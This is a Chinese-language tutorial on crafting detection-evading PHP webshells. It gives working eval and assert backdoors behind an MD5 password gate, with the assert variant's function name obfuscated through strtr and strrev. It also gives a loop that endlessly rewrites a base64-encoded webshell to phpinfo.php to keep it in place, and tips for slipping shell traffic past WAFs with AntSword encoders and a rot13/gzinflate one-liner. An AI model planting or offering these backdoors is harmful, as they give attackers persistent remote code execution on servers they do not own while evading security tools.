使用eval构建免杀小马
<?php
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){ //链接地址为url?a=123456
$a=array($_REQUEST['x']=>"3"); //链接密码为x
$b=array_keys($a);
@eval($b[0]);
}
使用assert构建免杀小马(PHP7.1之后无法使用)
<?php
$str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';
$str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));
$str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){ //链接地址为url?a=123456
$str4 = strrev($_POST['x']); //链接密码为x
$str5 = strrev($str4);
$str3($str5);
}
我们可以更进一步将以上代码进行base64编码,然后写入文件,比如eval免杀代码如下:
<?php
set_time_limit(0);
ignore_user_abort(true);
$file = 'phpinfo.php';
$shell = "PD9waHAKaWYobWQ1KEAkX0dFVFsnYSddKSA9PSdlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZScpeyRhPWFycmF5KCRfUkVRVUVTVFsneCddPT4iMyIpOyRiPWFycmF5X2tleXMoJGEpO0BldmFsKCRiWzBdKTt9";
while(true){
file_put_contents($file,base64_decode($shell));
usleep(50);
}
链接过程中传递数据如何绕过WAF
蚁剑通过自定义编码器来绕过WAF。冰蝎改造将动态的AES密钥写死在webshell里,可以减少很多特征。蚁剑就是将解码函数写死在webshell里,也可以有效绕过WAF检测。
官方提供的参考编码AntSwordProject/AwesomeEncoder
比如使用zlib_deflated_raw编码,按照操作说明一步一步配置或者将编码文件下载放到对应的文件夹,配置链接编码器为自己设置的编码。服务器上一句话小马代码为 $c=str_rot13('nffreg'); /* assert */ $c(@gzinflate(base64_decode($_POST['x'])));
,该代码会被阿里云安全中心检测到含有webshell。
扩展知识-参考资料